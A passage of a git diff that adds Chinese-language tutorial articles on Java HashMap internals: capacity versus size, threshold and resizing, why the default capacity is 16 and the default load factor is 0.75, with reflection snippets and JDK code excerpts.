+至此,我们已经分析完了HashMap、HashTable以及ConcurrentHashMap分别在Jdk 1.7 和 Jdk 1.8中的实现。我们可以发现,为了保证哈希的结果可以分散、为了提高哈希的效率,JDK在一个小小的hash方法上就有很多考虑,做了很多事情。当然,我希望我们不仅可以深入了解背后的原理,还要学会这种对代码精益求精的态度。
+
+Jdk的源代码,每一行都很有意思,都值得花时间去钻研、推敲。
+
+[哈希表(HashTable)的构造方法和冲突解决][7]
+
+[HashMap的数据结构][8]
+
+[HashMap和HashTable到底哪不同?][9]
+
+[知乎问题][10]中 @二大王 和 @Anra的答案
+
+ [1]: http://www.hollischuang.com/wp-content/uploads/2018/03/640.png
+ [2]: http://www.hollischuang.com/wp-content/uploads/2018/03/hash-use.png
+ [3]: http://www.hollischuang.com/wp-content/uploads/2018/03/640-1.png
+ [4]: http://www.hollischuang.com/wp-content/uploads/2018/03/640-2.png
+ [5]: http://www.hollischuang.com/wp-content/uploads/2018/03/640-3.png
+ [6]: http://www.hollischuang.com/wp-content/uploads/2018/03/640-4.png
+ [7]: https://www.jianshu.com/p/7e7f52a49ffc
+ [8]: http://blog.csdn.net/justloveyou_/article/details/62893086
+ [9]: http://zhaox.github.io/2016/07/05/hashmap-vs-hashtable
+ [10]: https://www.zhihu.com/question/51784530
diff --git a/docs/basics/java-basic/hashmap-capacity.md b/docs/basics/java-basic/hashmap-capacity.md
new file mode 100644
index 00000000..e6fb9eef
--- /dev/null
+++ b/docs/basics/java-basic/hashmap-capacity.md
@@ -0,0 +1,169 @@
+很多人在通过阅读源码的方式学习Java,这是个很好的方式。而JDK的源码自然是首选。在JDK的众多类中,我觉得HashMap及其相关的类是设计的比较好的。很多人读过HashMap的代码,不知道你们有没有和我一样,觉得HashMap中关于容量相关的参数定义的太多了,傻傻分不清楚。
+
+其实,这篇文章介绍的内容比较简单,只要认真的看看HashMap的原理还是可以理解的,单独写一篇文章的原因是因为我后面还有几篇关于HashMap源码分析的文章,这些概念不熟悉的话阅读后面的文章会很吃力。
+
+先来看一下,HashMap中都定义了哪些成员变量。
+
+[ ][1]
+
+上面是一张HashMap中主要的成员变量的图,其中有一个是我们本文主要关注的: `size`、`loadFactor`、`threshold`、`DEFAULT_LOAD_FACTOR`和`DEFAULT_INITIAL_CAPACITY`。
+
+我们先来简单解释一下这些参数的含义,然后再分析他们的作用。
+
+HashMap类中有以下主要成员变量:
+
+* transient int size;
+ * 记录了Map中KV对的个数
+* loadFactor
+ * 装载因子,用来衡量HashMap满的程度。loadFactor的默认值为0.75f(`static final float DEFAULT_LOAD_FACTOR = 0.75f;`)。
+* int threshold;
+ * 临界值,当实际KV个数超过threshold时,HashMap会将容量扩容,threshold=容量*装载因子
+* 除了以上这些重要成员变量外,HashMap中还有一个和他们紧密相关的概念:capacity
+ * 容量,如果不指定,默认容量是16(`static final int DEFAULT_INITIAL_CAPACITY = 1 << 4;`)
+
+可能看完了你还是有点蒙,size和capacity之间有啥关系?为啥要定义这两个变量。loadFactor和threshold又是干啥的?
+
+### size 和 capacity
+
+HashMap中的size和capacity之间的区别其实解释起来也挺简单的。我们知道,HashMap就像一个“桶”,那么capacity就是这个桶“当前”最多可以装多少元素,而size表示这个桶已经装了多少元素。来看下以下代码:
+
+ Map map = new HashMap();
+ map.put("hollis", "hollischuang");
+
+ Class> mapType = map.getClass();
+ Method capacity = mapType.getDeclaredMethod("capacity");
+ capacity.setAccessible(true);
+ System.out.println("capacity : " + capacity.invoke(map));
+
+ Field size = mapType.getDeclaredField("size");
+ size.setAccessible(true);
+ System.out.println("size : " + size.get(map));
+
+
+我们定义了一个新的HashMap,并想其中put了一个元素,然后通过反射的方式打印capacity和size。输出结果为:**capacity : 16、size : 1**
+
+默认情况下,一个HashMap的容量(capacity)是16,设计成16的好处我在《[全网把Map中的hash()分析的最透彻的文章,别无二家。][2]》中也简单介绍过,主要是可以使用按位与替代取模来提升hash的效率。
+
+为什么我刚刚说capacity就是这个桶“当前”最多可以装多少元素呢?当前怎么理解呢。其实,HashMap是具有扩容机制的。在一个HashMap第一次初始化的时候,默认情况下他的容量是16,当达到扩容条件的时候,就需要进行扩容了,会从16扩容成32。
+
+我们知道,HashMap的重载的构造函数中,有一个是支持传入initialCapacity的,那么我们尝试着设置一下,看结果如何。
+
+ Map map = new HashMap(1);
+
+ Class> mapType = map.getClass();
+ Method capacity = mapType.getDeclaredMethod("capacity");
+ capacity.setAccessible(true);
+ System.out.println("capacity : " + capacity.invoke(map));
+
+ Map map = new HashMap(7);
+
+ Class> mapType = map.getClass();
+ Method capacity = mapType.getDeclaredMethod("capacity");
+ capacity.setAccessible(true);
+ System.out.println("capacity : " + capacity.invoke(map));
+
+
+ Map map = new HashMap(9);
+
+ Class> mapType = map.getClass();
+ Method capacity = mapType.getDeclaredMethod("capacity");
+ capacity.setAccessible(true);
+ System.out.println("capacity : " + capacity.invoke(map));
+
+
+分别执行以上3段代码,分别输出:**capacity : 1、capacity : 8、capacity : 16**。
+
+也就是说,默认情况下HashMap的容量是16,但是,如果用户通过构造函数指定了一个数字作为容量,那么Hash会选择大于该数字的第一个2的幂作为容量。(1->1、7->8、9->16)
+
+> 这里有一个小建议:在初始化HashMap的时候,应该尽量指定其大小。尤其是当你已知map中存放的元素个数时。(《阿里巴巴Java开发规约》)
+
+### loadFactor 和 threshold
+
+前面我们提到过,HashMap有扩容机制,就是当达到扩容条件时会进行扩容,从16扩容到32、64、128...
+
+那么,这个扩容条件指的是什么呢?
+
+其实,HashMap的扩容条件就是当HashMap中的元素个数(size)超过临界值(threshold)时就会自动扩容。
+
+在HashMap中,threshold = loadFactor * capacity。
+
+loadFactor是装载因子,表示HashMap满的程度,默认值为0.75f,设置成0.75有一个好处,那就是0.75正好是3/4,而capacity又是2的幂。所以,两个数的乘积都是整数。
+
+对于一个默认的HashMap来说,默认情况下,当其size大于12(16*0.75)时就会触发扩容。
+
+验证代码如下:
+
+ Map map = new HashMap<>();
+ map.put("hollis1", "hollischuang");
+ map.put("hollis2", "hollischuang");
+ map.put("hollis3", "hollischuang");
+ map.put("hollis4", "hollischuang");
+ map.put("hollis5", "hollischuang");
+ map.put("hollis6", "hollischuang");
+ map.put("hollis7", "hollischuang");
+ map.put("hollis8", "hollischuang");
+ map.put("hollis9", "hollischuang");
+ map.put("hollis10", "hollischuang");
+ map.put("hollis11", "hollischuang");
+ map.put("hollis12", "hollischuang");
+ Class> mapType = map.getClass();
+
+ Method capacity = mapType.getDeclaredMethod("capacity");
+ capacity.setAccessible(true);
+ System.out.println("capacity : " + capacity.invoke(map));
+
+ Field size = mapType.getDeclaredField("size");
+ size.setAccessible(true);
+ System.out.println("size : " + size.get(map));
+
+ Field threshold = mapType.getDeclaredField("threshold");
+ threshold.setAccessible(true);
+ System.out.println("threshold : " + threshold.get(map));
+
+ Field loadFactor = mapType.getDeclaredField("loadFactor");
+ loadFactor.setAccessible(true);
+ System.out.println("loadFactor : " + loadFactor.get(map));
+
+ map.put("hollis13", "hollischuang");
+ Method capacity = mapType.getDeclaredMethod("capacity");
+ capacity.setAccessible(true);
+ System.out.println("capacity : " + capacity.invoke(map));
+
+ Field size = mapType.getDeclaredField("size");
+ size.setAccessible(true);
+ System.out.println("size : " + size.get(map));
+
+ Field threshold = mapType.getDeclaredField("threshold");
+ threshold.setAccessible(true);
+ System.out.println("threshold : " + threshold.get(map));
+
+ Field loadFactor = mapType.getDeclaredField("loadFactor");
+ loadFactor.setAccessible(true);
+ System.out.println("loadFactor : " + loadFactor.get(map));
+
+
+输出结果:
+
+ capacity : 16
+ size : 12
+ threshold : 12
+ loadFactor : 0.75
+
+ capacity : 32
+ size : 13
+ threshold : 24
+ loadFactor : 0.75
+
+
+当HashMap中的元素个数达到13的时候,capacity就从16扩容到32了。
+
+HashMap中还提供了一个支持传入initialCapacity,loadFactor两个参数的方法,来初始化容量和装载因子。不过,一般不建议修改loadFactor的值。
+
+### 总结
+
+HashMap中size表示当前共有多少个KV对,capacity表示当前HashMap的容量是多少,默认值是16,每次扩容都是成倍的。loadFactor是装载因子,当Map中元素个数超过`loadFactor* capacity`的值时,会触发扩容。`loadFactor* capacity`可以用threshold表示。
+
+PS:文中分析基于JDK1.8.0_73
+
+ [1]: http://www.hollischuang.com/wp-content/uploads/2018/05/paramInMap.png
+ [2]: http://www.hollischuang.com/archives/2091
diff --git a/docs/basics/java-basic/hashmap-default-capacity.md b/docs/basics/java-basic/hashmap-default-capacity.md
new file mode 100644
index 00000000..423d843f
--- /dev/null
+++ b/docs/basics/java-basic/hashmap-default-capacity.md
@@ -0,0 +1,241 @@
+集合是Java开发日常开发中经常会使用到的,而作为一种典型的K-V结构的数据结构,HashMap对于Java开发者一定不陌生。
+
+在日常开发中,我们经常会像如下方式以下创建一个HashMap:
+
+ Map map = new HashMap();
+
+
+但是,大家有没有想过,上面的代码中,我们并没有给HashMap指定容量,那么,这时候一个新创建的HashMap的默认容量是多少呢?为什么呢?
+
+本文就来分析下这个问题。
+
+### 什么是容量
+
+在Java中,保存数据有两种比较简单的数据结构:数组和链表。数组的特点是:寻址容易,插入和删除困难;而链表的特点是:寻址困难,插入和删除容易。HashMap就是将数组和链表组合在一起,发挥了两者的优势,我们可以将其理解为链表的数组。
+
+在HashMap中,有两个比较容易混淆的关键字段:size和capacity ,这其中capacity就是Map的容量,而size我们称之为Map中的元素个数。
+
+简单打个比方你就更容易理解了:HashMap就是一个“桶”,那么容量(capacity)就是这个桶当前最多可以装多少元素,而元素个数(size)表示这个桶已经装了多少元素。
+
+![-w778][1]
+
+如以下代码:
+
+ Map map = new HashMap();
+ map.put("hollis", "hollischuang");
+
+ Class> mapType = map.getClass();
+ Method capacity = mapType.getDeclaredMethod("capacity");
+ capacity.setAccessible(true);
+ System.out.println("capacity : " + capacity.invoke(map));
+
+ Field size = mapType.getDeclaredField("size");
+ size.setAccessible(true);
+ System.out.println("size : " + size.get(map));
+
+
+输出结果:
+
+ capacity : 16、size : 1
+
+
+上面我们定义了一个新的HashMap,并想其中put了一个元素,然后通过反射的方式打印capacity和size,其容量是16,已经存放的元素个数是1。
+
+通过前面的例子,我们发现了,当我们创建一个HashMap的时候,如果没有指定其容量,那么会得到一个默认容量为16的Map,那么,这个容量是怎么来的呢?又为什么是这个数字呢?
+
+### 容量与哈希
+
+要想讲清楚这个默认容量的缘由,我们要首先要知道这个容量有什么用?
+
+
+我们知道,容量就是一个HashMap中"桶"的个数,那么,当我们想要往一个HashMap中put一个元素的时候,需要通过一定的算法计算出应该把他放到哪个桶中,这个过程就叫做哈希(hash),对应的就是HashMap中的hash方法。
+
+![-w688][2]
+
+我们知道,hash方法的功能是根据Key来定位这个K-V在链表数组中的位置的。也就是hash方法的输入应该是个Object类型的Key,输出应该是个int类型的数组下标。如果让你设计这个方法,你会怎么做?
+
+其实简单,我们只要调用Object对象的hashCode()方法,该方法会返回一个整数,然后用这个数对HashMap的容量进行取模就行了。
+
+如果真的是这么简单的话,那HashMap的容量设置就会简单很多了,但是考虑到效率等问题,HashMap的hash方法实现还是有一定的复杂的。
+
+### hash的实现
+
+接下来就介绍下HashMap中hash方法的实现原理。(下面部分内容参考自我的文章:[全网把Map中的hash()分析的最透彻的文章,别无二家]() 。PS:网上的关于HashMap的hash方法的分析的文章,很多都是在我这篇文章的基础上"衍生"过来的。)
+
+具体实现上,由两个方法int hash(Object k)和int indexFor(int h, int length)来实现。
+
+> hash :该方法主要是将Object转换成一个整型。
+>
+> indexFor :该方法主要是将hash生成的整型转换成链表数组中的下标。
+
+为了聚焦本文的重点,我们只来看一下indexFor方法。我们先来看下Java 7(Java8中虽然没有这样一个单独的方法,但是查询下标的算法也是和Java 7一样的)中该实现细节:
+
+ static int indexFor(int h, int length) {
+ return h & (length-1);
+ }
+
+
+indexFor方法其实主要是将hashcode换成链表数组中的下标。其中的两个参数h表示元素的hashcode值,length表示HashMap的容量。那么return h & (length-1) 是什么意思呢?
+
+其实,他就是取模。Java之所有使用位运算(&)来代替取模运算(%),最主要的考虑就是效率。
+
+> 位运算(&)效率要比代替取模运算(%)高很多,主要原因是位运算直接对内存数据进行操作,不需要转成十进制,因此处理速度非常快。
+
+那么,为什么可以使用位运算(&)来实现取模运算(%)呢?这实现的原理如下:
+
+ X % 2^n = X & (2^n – 1)
+
+
+假设n为3,则2^3 = 8,表示成2进制就是1000。2^3 -1 = 7 ,即0111。
+
+此时X & (2^3 – 1) 就相当于取X的2进制的最后三位数。
+
+从2进制角度来看,X / 8相当于 X >> 3,即把X右移3位,此时得到了X / 8的商,而被移掉的部分(后三位),则是X % 8,也就是余数。
+
+上面的解释不知道你有没有看懂,没看懂的话其实也没关系,你只需要记住这个技巧就可以了。或者你可以找几个例子试一下。
+
+ 6 % 8 = 6 ,6 & 7 = 6
+
+ 10 % 8 = 2 ,10 & 7 = 2
+
+
+![][3]
+
+所以,return h & (length-1);只要保证length的长度是2^n 的话,就可以实现取模运算了。
+
+所以,**因为位运算直接对内存数据进行操作,不需要转成十进制,所以位运算要比取模运算的效率更高,所以HashMap在计算元素要存放在数组中的index的时候,使用位运算代替了取模运算。之所以可以做等价代替,前提是要求HashMap的容量一定要是2^n** 。
+
+那么,既然是2^n ,为啥一定要是16呢?为什么不能是4、8或者32呢?
+
+关于这个默认容量的选择,JDK并没有给出官方解释,笔者也没有在网上找到关于这个任何有价值的资料。(如果哪位有相关的权威资料或者想法,可以留言交流)
+
+根据作者的推断,这应该就是个经验值(Experience Value),既然一定要设置一个默认的2^n 作为初始值,那么就需要在效率和内存使用上做一个权衡。这个值既不能太小,也不能太大。
+
+太小了就有可能频繁发生扩容,影响效率。太大了又浪费空间,不划算。
+
+所以,16就作为一个经验值被采用了。
+
+> 在JDK 8中,关于默认容量的定义为:static final int DEFAULT_INITIAL_CAPACITY = 1 << 4; // aka 16 ,其故意把16写成1<<4,就是提醒开发者,这个地方要是2的幂。值得玩味的是:注释中的 **aka 16** 也是1.8中新增的,
+
+那么,接下来我们再来谈谈,HashMap是如何保证其容量一定可以是2^n 的呢?如果用户自己设置了的话又会怎么样呢?
+
+关于这部分,HashMap在两个可能改变其容量的地方都做了兼容处理,分别是指定容量初始化时以及扩容时。
+
+### 指定容量初始化
+
+当我们通过HashMap(int initialCapacity)设置初始容量的时候,HashMap并不一定会直接采用我们传入的数值,而是经过计算,得到一个新值,目的是提高hash的效率。(1->1、3->4、7->8、9->16)
+
+> 在JDK 1.7和JDK 1.8中,HashMap初始化这个容量的时机不同。JDK 1.8中,在调用HashMap的构造函数定义HashMap的时候,就会进行容量的设定。而在JDK 1.7中,要等到第一次put操作时才进行这一操作。
+
+看一下JDK是如何找到比传入的指定值大的第一个2的幂的:
+
+ int n = cap - 1;
+ n |= n >>> 1;
+ n |= n >>> 2;
+ n |= n >>> 4;
+ n |= n >>> 8;
+ n |= n >>> 16;
+ return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;
+
+
+上面的算法目的挺简单,就是:根据用户传入的容量值(代码中的cap),通过计算,得到第一个比他大的2的幂并返回。
+
+![][4]
+
+请关注上面的几个例子中,蓝色字体部分的变化情况,或许你会发现些规律。5->8、9->16、19->32、37->64都是主要经过了两个阶段。
+
+> Step 1,5->7
+>
+> Step 2,7->8
+>
+> Step 1,9->15
+>
+> Step 2,15->16
+>
+> Step 1,19->31
+>
+> Step 2,31->32
+
+对应到以上代码中,Step1:
+
+ n |= n >>> 1;
+ n |= n >>> 2;
+ n |= n >>> 4;
+ n |= n >>> 8;
+ n |= n >>> 16;
+
+
+对应到以上代码中,Step2:
+
+ return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;
+
+
+Step 2 比较简单,就是做一下极限值的判断,然后把Step 1得到的数值+1。
+
+Step 1 怎么理解呢?其实是对一个二进制数依次向右移位,然后与原值取或。其目的对于一个数字的二进制,从第一个不为0的位开始,把后面的所有位都设置成1。
+
+随便拿一个二进制数,套一遍上面的公式就发现其目的了:
+
+ 1100 1100 1100 >>>1 = 0110 0110 0110
+ 1100 1100 1100 | 0110 0110 0110 = 1110 1110 1110
+ 1110 1110 1110 >>>2 = 0011 1011 1011
+ 1110 1110 1110 | 0011 1011 1011 = 1111 1111 1111
+ 1111 1111 1111 >>>4 = 1111 1111 1111
+ 1111 1111 1111 | 1111 1111 1111 = 1111 1111 1111
+
+
+通过几次无符号右移和按位或运算,我们把1100 1100 1100转换成了1111 1111 1111 ,再把1111 1111 1111加1,就得到了1 0000 0000 0000,这就是大于1100 1100 1100的第一个2的幂。
+
+好了,我们现在解释清楚了Step 1和Step 2的代码。就是可以把一个数转化成第一个比他自身大的2的幂。
+
+但是还有一种特殊情况套用以上公式不行,这些数字就是2的幂自身。如果数字4套用公式的话。得到的会是 8,不过其实这个问题也被解决了,具体验证办法及JDK的解决方案见[全网把Map中的hash()分析的最透彻的文章,别无二家](),这里就不再展开了。
+
+总之,HashMap根据用户传入的初始化容量,利用无符号右移和按位或运算等方式计算出第一个大于该数的2的幂。
+
+### 扩容
+
+除了初始化的时候会指定HashMap的容量,在进行扩容的时候,其容量也可能会改变。
+
+HashMap有扩容机制,就是当达到扩容条件时会进行扩容。HashMap的扩容条件就是当HashMap中的元素个数(size)超过临界值(threshold)时就会自动扩容。
+
+在HashMap中,threshold = loadFactor * capacity。
+
+loadFactor是装载因子,表示HashMap满的程度,默认值为0.75f,设置成0.75有一个好处,那就是0.75正好是3/4,而capacity又是2的幂。所以,两个数的乘积都是整数。
+
+对于一个默认的HashMap来说,默认情况下,当其size大于12(16*0.75)时就会触发扩容。
+
+下面是HashMap中的扩容方法(resize)中的一段:
+
+ if ((newCap = oldCap << 1) < MAXIMUM_CAPACITY &&
+ oldCap >= DEFAULT_INITIAL_CAPACITY)
+ newThr = oldThr << 1; // double threshold
+ }
+
+
+从上面代码可以看出,扩容后的table大小变为原来的两倍,这一步执行之后,就会进行扩容后table的调整,这部分非本文重点,省略。
+
+可见,当HashMap中的元素个数(size)超过临界值(threshold)时就会自动扩容,扩容成原容量的2倍,即从16扩容到32、64、128 ...
+
+所以,通过保证初始化容量均为2的幂,并且扩容时也是扩容到之前容量的2倍,所以,保证了HashMap的容量永远都是2的幂。
+
+### 总结
+
+HashMap作为一种数据结构,元素在put的过程中需要进行hash运算,目的是计算出该元素存放在hashMap中的具体位置。
+
+hash运算的过程其实就是对目标元素的Key进行hashcode,再对Map的容量进行取模,而JDK 的工程师为了提升取模的效率,使用位运算代替了取模运算,这就要求Map的容量一定得是2的幂。
+
+而作为默认容量,太大和太小都不合适,所以16就作为一个比较合适的经验值被采用了。
+
+为了保证任何情况下Map的容量都是2的幂,HashMap在两个地方都做了限制。
+
+首先是,如果用户制定了初始容量,那么HashMap会计算出比该数大的第一个2的幂作为初始容量。
+
+另外,在扩容的时候,也是进行成倍的扩容,即4变成8,8变成16。
+
+本文,通过分析为什么HashMap的默认容量是16,我们深入HashMap的原理,分析了下背后的原理,从代码中我们可以发现,JDK 的工程师把各种位运算运用到了极致,想尽各种办法优化效率。值得我们学习!
+
+
+ [1]: http://www.hollischuang.com/wp-content/uploads/2019/12/15757045632047.jpg
+ [2]: http://www.hollischuang.com/wp-content/uploads/2019/12/15757046756201.jpg
+ [3]: http://www.hollischuang.com/wp-content/uploads/2019/12/15757021130494.jpg
+ [4]: http://www.hollischuang.com/wp-content/uploads/2019/12/15757032518207.jpg
\ No newline at end of file
diff --git a/docs/basics/java-basic/hashmap-default-loadfactor.md b/docs/basics/java-basic/hashmap-default-loadfactor.md
new file mode 100644
index 00000000..9a2f56b3
--- /dev/null
+++ b/docs/basics/java-basic/hashmap-default-loadfactor.md
@@ -0,0 +1,211 @@
+在Java基础中,集合类是很关键的一块知识点,也是日常开发的时候经常会用到的。比如List、Map这些在代码中也是很常见的。
+
+个人认为,关于HashMap的实现,JDK的工程师其实是做了很多优化的,要说所有的JDK源码中,哪个类埋的彩蛋最多,那我想HashMap至少可以排前五。
+
+也正是因为如此,很多细节都容易被忽视,今天我们就来关注其中一个问题,那就是:
+
+为什么HashMap的负载因子设置成0.75,而不是1也不是0.5?这背后到底有什么考虑?
+
+大家千万不要小看这个问题,因为负载因子是HashMap中很重要的一个概念,也是高端面试的一个常考点。
+
+另外,这个值得设置,有些人会用错的,比如前几天我的《阿里巴巴Java开发手册建议创建HashMap时设置初始化容量,但是多少合适呢?》这篇文章中,就有读者这样回复:
+
+![-w356][1]
+
+![-w375][2]
+
+既然有人会尝试着去修改负载因子,那么到底改成1是不是合适呢?为什么HashMap不使用1作为负载因子的默认值呢?
+
+### 什么是loadFactory
+
+首先我们来介绍下什么是负载因子(loadFactory),如果读者对这部分已经有了解,那么可以直接跨过这一段。
+
+我们知道,第一次创建HashMap的时候,就会指定其容量(如果未显示指定,默认是16,详见[为啥HashMap的默认容量是16?][3]),那随着我们不断的向HashMap中put元素的时候,就有可能会超过其容量,那么就需要有一个扩容机制。
+
+所谓扩容,就是扩大HashMap的容量:
+
+ void addEntry(int hash, K key, V value, int bucketIndex) {
+ if ((size >= threshold) && (null != table[bucketIndex])) {
+ resize(2 * table.length);
+ hash = (null != key) ? hash(key) : 0;
+ bucketIndex = indexFor(hash, table.length); }
+ createEntry(hash, key, value, bucketIndex);
+ }
+
+
+从代码中我们可以看到,在向HashMap中添加元素过程中,如果 `元素个数(size)超过临界值(threshold)` 的时候,就会进行自动扩容(resize),并且,在扩容之后,还需要对HashMap中原有元素进行rehash,即将原来通中的元素重新分配到新的桶中。
+
+在HashMap中,临界值(threshold) = 负载因子(loadFactor) * 容量(capacity)。
+
+loadFactor是装载因子,表示HashMap满的程度,默认值为0.75f,也就是说默认情况下,当HashMap中元素个数达到了容量的3/4的时候就会进行自动扩容。(详见[HashMap中傻傻分不清楚的那些概念][4])
+
+### 为什么要扩容
+
+
+还记得前面我们说过,HashMap在扩容到过程中不仅要对其容量进行扩充,还需要进行rehash!所以,这个过程其实是很耗时的,并且Map中元素越多越耗时。
+
+rehash的过程相当于对其中所有的元素重新做一遍hash,重新计算要分配到哪个桶中。
+
+那么,有没有人想过一个问题,既然这么麻烦,为啥要扩容?HashMap不是一个数组链表吗?不扩容的话,也是可以无限存储的呀。为啥要扩容?
+
+这其实和哈希碰撞有关。
+
+#### 哈希碰撞
+
+我们知道,HashMap其实是底层基于哈希函数实现的,但是哈希函数都有如下一个基本特性:根据同一哈希函数计算出的散列值如果不同,那么输入值肯定也不同。但是,根据同一散列函数计算出的散列值如果相同,输入值不一定相同。
+
+两个不同的输入值,根据同一散列函数计算出的散列值相同的现象叫做碰撞。
+
+衡量一个哈希函数的好坏的重要指标就是发生碰撞的概率以及发生碰撞的解决方案。
+
+而为了解决哈希碰撞,有很多办法,其中比较常见的就是链地址法,这也是HashMap采用的方法。详见[全网把Map中的hash()分析的最透彻的文章,别无二家。][5]
+
+HashMap将数组和链表组合在一起,发挥了两者的优势,我们可以将其理解为链表的数组。
+
+![-w648][6]
+
+HashMap基于链表的数组的数据结构实现的
+
+我们在向HashMap中put元素的时候,就需要先定位到是数组中的哪条链表,然后把这个元素挂在这个链表的后面。
+
+当我们从HashMap中get元素的时候,也是需要定位到是数组中的哪条链表,然后再逐一遍历链表中的元素,直到查找到需要的元素为止。
+
+可见,HashMap通过链表的数组这种结构,解决了hash冲突的问题。
+
+但是,如果一个HashMap中冲突太高,那么数组的链表就会退化为链表。这时候查询速度会大大降低。
+
+![-w773][7]
+
+所以,为了保证HashMap的读取的速度,我们需要想办法尽量保证HashMap的冲突不要太高。
+
+#### 扩容避免哈希碰撞
+
+那么如何能有效的避免哈希碰撞呢?
+
+我们先反向思维一下,你认为什么情况会导致HashMap的哈希碰撞比较多?
+
+无外乎两种情况:
+
+1、容量太小。容量小,碰撞的概率就高了。狼多肉少,就会发生争抢。
+
+2、hash算法不够好。算法不合理,就可能都分到同一个或几个桶中。分配不均,也会发生争抢。
+
+所以,解决HashMap中的哈希碰撞也是从这两方面入手。
+
+这两点在HashMap中都有很好的体现。两种方法相结合,**在合适的时候扩大数组容量,再通过一个合适的hash算法计算元素分配到哪个数组中,就可以大大的减少冲突的概率。就能避免查询效率低下的问题。**
+
+### 为什么默认loadFactory是0.75
+
+至此,我们知道了loadFactory是HashMap中的一个重要概念,他表示这个HashMap最大的满的程度。
+
+为了避免哈希碰撞,HashMap需要在合适的时候进行扩容。那就是当其中的元素个数达到临界值的时候,而这个临界值前面说过和loadFactory有关,换句话说,设置一个合理的loadFactory,可以有效的避免哈希冲突。
+
+那么,到底loadFactory设置成多少算合适呢?
+
+这个值现在在JDK的源码中是0.75:
+
+ /**
+ * The load factor used when none specified in constructor.
+ */
+ static final float DEFAULT_LOAD_FACTOR = 0.75f;
+
+
+那么,为什么选择0.75呢?背后有什么考虑?为什么不是1,不是0.8?不是0.5,而是0.75呢?
+
+在JDK的官方文档中,有这样一段描述描述:
+
+> As a general rule, the default load factor (.75) offers a good tradeoff between time and space costs. Higher values decrease the space overhead but increase the lookup cost (reflected in most of the operations of the HashMap class, including get and put).
+
+大概意思是:一般来说,默认的负载因子(0.75)在时间和空间成本之间提供了很好的权衡。更高的值减少了空间开销,但增加了查找成本(反映在HashMap类的大多数操作中,包括get和put)。
+
+试想一下,如果我们把负载因子设置成1,容量使用默认初始值16,那么表示一个HashMap需要在"满了"之后才会进行扩容。
+
+那么在HashMap中,最好的情况是这16个元素通过hash算法之后分别落到了16个不同的桶中,否则就必然发生哈希碰撞。而且随着元素越多,哈希碰撞的概率越大,查找速度也会越低。
+
+#### 0\.75的数学依据
+
+另外,我们可以通过一种数学思维来计算下这个值是多少合适。
+
+我们假设一个bucket空和非空的概率为0.5,我们用s表示容量,n表示已添加元素个数。
+
+用s表示添加的键的大小和n个键的数目。根据二项式定理,桶为空的概率为:
+
+ P(0) = C(n, 0) * (1/s)^0 * (1 - 1/s)^(n - 0)
+
+
+因此,如果桶中元素个数小于以下数值,则桶可能是空的:
+
+ log(2)/log(s/(s - 1))
+
+
+当s趋于无穷大时,如果增加的键的数量使P(0) = 0.5,那么n/s很快趋近于log(2):
+
+ log(2) ~ 0.693...
+
+
+所以,合理值大概在0.7左右。
+
+当然,这个数学计算方法,并不是在Java的官方文档中体现的,我们也无从考察到底有没有这层考虑,就像我们根本不知道鲁迅写文章时候怎么想的一样,只能推测。这个推测来源于Stack Overflor(https://stackoverflow.com/questions/10901752/what-is-the-significance-of-load-factor-in-hashmap)
+
+#### 0\.75的必然因素
+
+理论上我们认为负载因子不能太大,不然会导致大量的哈希冲突,也不能太小,那样会浪费空间。
+
+通过一个数学推理,测算出这个数值在0.7左右是比较合理的。
+
+那么,为什么最终选定了0.75呢?
+
+还记得前面我们提到过一个公式吗,就是`临界值(threshold) = 负载因子(loadFactor) * 容量(capacity)`。
+
+我们在《[为啥HashMap的默认容量是16?][3]》中介绍过,根据HashMap的扩容机制,他会保证capacity的值永远都是2的幂。
+
+那么,为了保证`负载因子(loadFactor) * 容量(capacity)`的结果是一个整数,这个值是0.75(3/4)比较合理,因为这个数和任何2的幂乘积结果都是整数。
+
+### 总结
+
+HashMap是一种K-V结构,为了提升其查询及插入的速度,底层采用了链表的数组这种数据结构实现的。
+
+但是因为在计算元素所在的位置的时候,需要使用hash算法,而HashMap采用的hash算法就是链地址法。这种方法有两个极端。
+
+如果HashMap中哈希冲突概率高,那么HashMap就会退化成链表(不是真的退化,而是操作上像是直接操作链表),而我们知道,链表最大的缺点就是查询速度比较慢,他需要从表头开始逐一遍历。
+
+所以,为了避免HashMap发生大量的哈希冲突,所以需要在适当的时候对其进行扩容。
+
+而扩容的条件是元素个数达到临界值时。HashMap中临界值的计算方法:
+
+ 临界值(threshold) = 负载因子(loadFactor) * 容量(capacity)
+
+
+其中负载因子表示一个数组可以达到的最大的满的程度。这个值不宜太大,也不宜太小。
+
+loadFactory太大,比如等于1,那么就会有很高的哈希冲突的概率,会大大降低查询速度。
+
+loadFactory太小,比如等于0.5,那么频繁扩容,就会大大浪费空间。
+
+所以,这个值需要介于0.5和1之间。根据数学公式推算。这个值在log(2)的时候比较合理。
+
+另外,为了提升扩容效率,HashMap的容量(capacity)有一个固定的要求,那就是一定是2的幂。
+
+所以,如果loadFactor是3/4的话,那么和capacity的乘积结果就可以是一个整数。
+
+所以,一般情况下,我们不建议修改loadFactory的值,除非特殊原因。
+
+比如我明确的知道我的Map只存5个kv,并且永远不会改变,那么可以考虑指定loadFactory。
+
+但是其实我也不建议这样用。我们完全可以通过指定capacity达到这样的目的。详见[为啥HashMap的默认容量是16?][3]
+
+参考资料:
+
+https://stackoverflow.com/questions/10901752/what-is-the-significance-of-load-factor-in-hashmap
+
+https://docs.oracle.com/javase/6/docs/api/java/util/HashMap.html
+
+https://preshing.com/20110504/hash-collision-probabilities/
+
+ [1]: http://www.hollischuang.com/wp-content/uploads/2020/02/15823434481444.jpg
+ [2]: http://www.hollischuang.com/wp-content/uploads/2020/02/15823434784570.jpg
+ [3]: http://www.hollischuang.com/archives/4320
+ [4]: http://www.hollischuang.com/archives/2416
+ [5]: http://www.hollischuang.com/archives/2091
+ [6]: http://www.hollischuang.com/wp-content/uploads/2020/02/15823447916666.jpg
+ [7]: http://www.hollischuang.com/wp-content/uploads/2020/02/15823459128857.jpg
diff --git a/docs/basics/java-basic/hashmap-init-capacity.md b/docs/basics/java-basic/hashmap-init-capacity.md
new file mode 100644
index 00000000..2e27a749
--- /dev/null
+++ b/docs/basics/java-basic/hashmap-init-capacity.md
@@ -0,0 +1,86 @@
+集合是Java开发日常开发中经常会使用到的,而作为一种典型的K-V结构的数据结构,HashMap对于Java开发者一定不陌生。
+
